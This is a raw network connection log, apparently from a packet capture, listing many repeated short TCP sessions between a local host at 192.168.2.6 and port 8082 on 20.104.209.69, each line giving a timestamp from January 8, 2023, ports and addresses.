Jan 8, 2023 16:09:26.214442968 CET	50034	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.235574961 CET	50034	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.349657059 CET	8082	50034	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.370578051 CET	50035	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.486424923 CET	8082	50035	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.486746073 CET	50035	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.487677097 CET	50035	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.601634979 CET	8082	50035	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.606024981 CET	8082	50035	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.606076956 CET	8082	50035	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.606134892 CET	8082	50035	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.606235027 CET	50035	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.606303930 CET	50035	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.606985092 CET	50035	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.720901966 CET	8082	50035	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.743366003 CET	50036	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.858061075 CET	8082	50036	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.859385014 CET	50036	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.859910011 CET	50036	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.973908901 CET	8082	50036	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.978300095 CET	8082	50036	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.978339911 CET	8082	50036	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.978404045 CET	8082	50036	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.978487015 CET	50036	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.978586912 CET	50036	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.979091883 CET	50036	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.092968941 CET	8082	50036	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.117995977 CET	50037	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.232929945 CET	8082	50037	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.233187914 CET	50037	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.234555006 CET	50037	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.348479986 CET	8082	50037	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.352905035 CET	8082	50037	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.352931976 CET	8082	50037	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.352947950 CET	8082	50037	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.353055000 CET	50037	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.353096008 CET	50037	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.366111040 CET	50037	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.480402946 CET	8082	50037	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.499551058 CET	50038	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.614123106 CET	8082	50038	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.614392042 CET	50038	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.615051985 CET	50038	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.729370117 CET	8082	50038	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.735544920 CET	8082	50038	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.735570908 CET	8082	50038	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.735658884 CET	8082	50038	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.735944986 CET	50038	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.736341000 CET	50038	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.850150108 CET	8082	50038	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.876347065 CET	50039	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.990807056 CET	8082	50039	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:27.990920067 CET	50039	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:27.991535902 CET	50039	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.105695963 CET	8082	50039	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.109975100 CET	8082	50039	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.110007048 CET	8082	50039	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.110044956 CET	8082	50039	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.110064983 CET	50039	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.111637115 CET	50039	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.111637115 CET	50039	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.225982904 CET	8082	50039	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.242883921 CET	50040	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.357481003 CET	8082	50040	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.357702971 CET	50040	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.359472036 CET	50040	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.473665953 CET	8082	50040	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.477332115 CET	8082	50040	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.477369070 CET	8082	50040	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.477386951 CET	8082	50040	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.477503061 CET	50040	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.477555037 CET	50040	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.506830931 CET	50040	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.621172905 CET	8082	50040	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.656287909 CET	50041	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.770418882 CET	8082	50041	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.770654917 CET	50041	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.802797079 CET	50041	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.917749882 CET	8082	50041	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.924684048 CET	8082	50041	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.924762964 CET	8082	50041	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.924909115 CET	8082	50041	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:28.925199032 CET	50041	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.925199032 CET	50041	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.925199032 CET	50041	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:28.928709984 CET	50041	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.042668104 CET	8082	50041	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.058372021 CET	50042	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.173019886 CET	8082	50042	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.175853014 CET	50042	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.182790041 CET	50042	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.297291040 CET	8082	50042	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.301726103 CET	8082	50042	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.301764965 CET	8082	50042	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.301788092 CET	8082	50042	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.301966906 CET	50042	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.310009956 CET	50042	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.424089909 CET	8082	50042	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.451268911 CET	50043	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.567588091 CET	8082	50043	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.567837954 CET	50043	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.568501949 CET	50043	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.682980061 CET	8082	50043	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.691807985 CET	8082	50043	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.691884041 CET	8082	50043	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.691926956 CET	8082	50043	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.692132950 CET	50043	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.692230940 CET	50043	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.701951981 CET	50043	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.816176891 CET	8082	50043	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.840154886 CET	50044	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.954807043 CET	8082	50044	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:29.956638098 CET	50044	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:29.957075119 CET	50044	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.071182013 CET	8082	50044	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.076278925 CET	8082	50044	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.076328039 CET	8082	50044	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.076342106 CET	8082	50044	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.076500893 CET	50044	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.077151060 CET	50044	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.192630053 CET	8082	50044	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.216898918 CET	50045	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.334239960 CET	8082	50045	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.334397078 CET	50045	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.335324049 CET	50045	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.449244022 CET	8082	50045	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.453747034 CET	8082	50045	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.453788042 CET	8082	50045	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.453912973 CET	50045	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.453953028 CET	50045	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.455600977 CET	8082	50045	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.455719948 CET	50045	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.456088066 CET	50045	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.570094109 CET	8082	50045	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.595865965 CET	50046	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.711460114 CET	8082	50046	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.711658955 CET	50046	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.712304115 CET	50046	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.826148033 CET	8082	50046	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.830456972 CET	8082	50046	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.830493927 CET	8082	50046	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.830619097 CET	50046	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.830804110 CET	8082	50046	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.830878973 CET	50046	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.852708101 CET	50046	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:30.966917038 CET	8082	50046	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:30.989646912 CET	50047	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.103984118 CET	8082	50047	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.104163885 CET	50047	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.104876041 CET	50047	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.219276905 CET	8082	50047	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.224612951 CET	8082	50047	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.224657059 CET	8082	50047	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.224766016 CET	50047	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.224812031 CET	50047	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.224944115 CET	8082	50047	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.225004911 CET	50047	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.227325916 CET	50047	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.341654062 CET	8082	50047	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.360234022 CET	50048	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.474517107 CET	8082	50048	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.474631071 CET	50048	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.475339890 CET	50048	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.589186907 CET	8082	50048	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.593703985 CET	8082	50048	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.593748093 CET	8082	50048	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.593770981 CET	8082	50048	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.593818903 CET	50048	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.593854904 CET	50048	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.598790884 CET	50048	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.712842941 CET	8082	50048	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.743743896 CET	50049	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.858006001 CET	8082	50049	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.858437061 CET	50049	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.862716913 CET	50049	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.976609945 CET	8082	50049	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.981049061 CET	8082	50049	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.981091022 CET	8082	50049	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.981134892 CET	50049	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.981188059 CET	8082	50049	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:31.981192112 CET	50049	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.981235981 CET	50049	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:31.993987083 CET	50049	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.107901096 CET	8082	50049	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.135226965 CET	50050	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.249838114 CET	8082	50050	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.251331091 CET	50050	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.251926899 CET	50050	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.365972042 CET	8082	50050	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.369888067 CET	8082	50050	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.369936943 CET	8082	50050	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.369960070 CET	8082	50050	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.370018005 CET	50050	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.370075941 CET	50050	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.370629072 CET	50050	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.484738111 CET	8082	50050	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.512744904 CET	50051	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.628371954 CET	8082	50051	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.628506899 CET	50051	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.629189014 CET	50051	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.742947102 CET	8082	50051	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.746789932 CET	8082	50051	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.746921062 CET	8082	50051	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.746942997 CET	8082	50051	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.746983051 CET	50051	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.747035027 CET	50051	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.747647047 CET	50051	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:32.861454964 CET	8082	50051	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:32.895652056 CET	50052	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.010443926 CET	8082	50052	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.015753031 CET	50052	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.015753984 CET	50052	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.129832983 CET	8082	50052	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.133333921 CET	8082	50052	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.133373022 CET	8082	50052	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.133394957 CET	8082	50052	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.133584023 CET	50052	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.146317959 CET	50052	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.260373116 CET	8082	50052	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.280200005 CET	50053	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.394524097 CET	8082	50053	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.394710064 CET	50053	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.395319939 CET	50053	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.509623051 CET	8082	50053	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.513932943 CET	8082	50053	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.513972998 CET	8082	50053	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.513995886 CET	8082	50053	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.518851995 CET	50053	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.518852949 CET	50053	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.518852949 CET	50053	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.632989883 CET	8082	50053	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.653790951 CET	50054	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.769042969 CET	8082	50054	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.769387007 CET	50054	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.769857883 CET	50054	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.885513067 CET	8082	50054	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.890407085 CET	8082	50054	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.890450001 CET	8082	50054	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.890472889 CET	8082	50054	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:33.890556097 CET	50054	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.890594959 CET	50054	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:33.897942066 CET	50054	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.012073994 CET	8082	50054	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.037105083 CET	50055	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.151612997 CET	8082	50055	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.151820898 CET	50055	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.152487040 CET	50055	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.266592026 CET	8082	50055	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.270924091 CET	8082	50055	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.270937920 CET	8082	50055	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.270948887 CET	8082	50055	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.271095037 CET	50055	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.282562017 CET	50055	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.397051096 CET	8082	50055	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.422674894 CET	50056	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.537516117 CET	8082	50056	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.537745953 CET	50056	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.538486004 CET	50056	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.652441025 CET	8082	50056	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.657319069 CET	8082	50056	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.657366991 CET	8082	50056	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.657386065 CET	8082	50056	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.657500029 CET	50056	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.657540083 CET	50056	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.660953045 CET	50056	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.775357008 CET	8082	50056	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.807537079 CET	50057	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.922132015 CET	8082	50057	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:34.922286987 CET	50057	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:34.926742077 CET	50057	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.041043043 CET	8082	50057	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.046984911 CET	8082	50057	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.047035933 CET	8082	50057	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.047056913 CET	8082	50057	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.047095060 CET	50057	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.047152042 CET	50057	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.049457073 CET	50057	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.167606115 CET	8082	50057	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.188110113 CET	50058	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.302556992 CET	8082	50058	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.302913904 CET	50058	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.303591013 CET	50058	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.417634010 CET	8082	50058	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.422169924 CET	8082	50058	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.422317982 CET	8082	50058	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.422355890 CET	8082	50058	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.422418118 CET	50058	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.422466993 CET	50058	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.434115887 CET	50058	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.548254967 CET	8082	50058	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.571808100 CET	50059	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.686634064 CET	8082	50059	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.688687086 CET	50059	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.689373016 CET	50059	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.803468943 CET	8082	50059	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.808785915 CET	8082	50059	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.808844090 CET	8082	50059	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.808883905 CET	8082	50059	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.808931112 CET	50059	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.808986902 CET	50059	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.809559107 CET	50059	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:35.923846006 CET	8082	50059	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:35.953995943 CET	50060	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.068552971 CET	8082	50060	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.073318005 CET	50060	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.074076891 CET	50060	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.187978029 CET	8082	50060	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.194626093 CET	8082	50060	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.194674015 CET	8082	50060	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.194730997 CET	8082	50060	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.194855928 CET	50060	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.194937944 CET	50060	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.195424080 CET	50060	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.309587955 CET	8082	50060	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.346144915 CET	50061	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.460853100 CET	8082	50061	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.461097002 CET	50061	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.461913109 CET	50061	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.576056957 CET	8082	50061	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.579870939 CET	8082	50061	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.579956055 CET	8082	50061	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.579998016 CET	8082	50061	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.583657980 CET	50061	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.583657980 CET	50061	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.610145092 CET	50061	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.724925041 CET	8082	50061	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.732481003 CET	50062	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.863857031 CET	8082	50062	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.864917040 CET	50062	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.865431070 CET	50062	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:36.979399920 CET	8082	50062	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.984056950 CET	8082	50062	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:36.984106064 CET	8082	50062	20.104.209.69	192.168.2.6
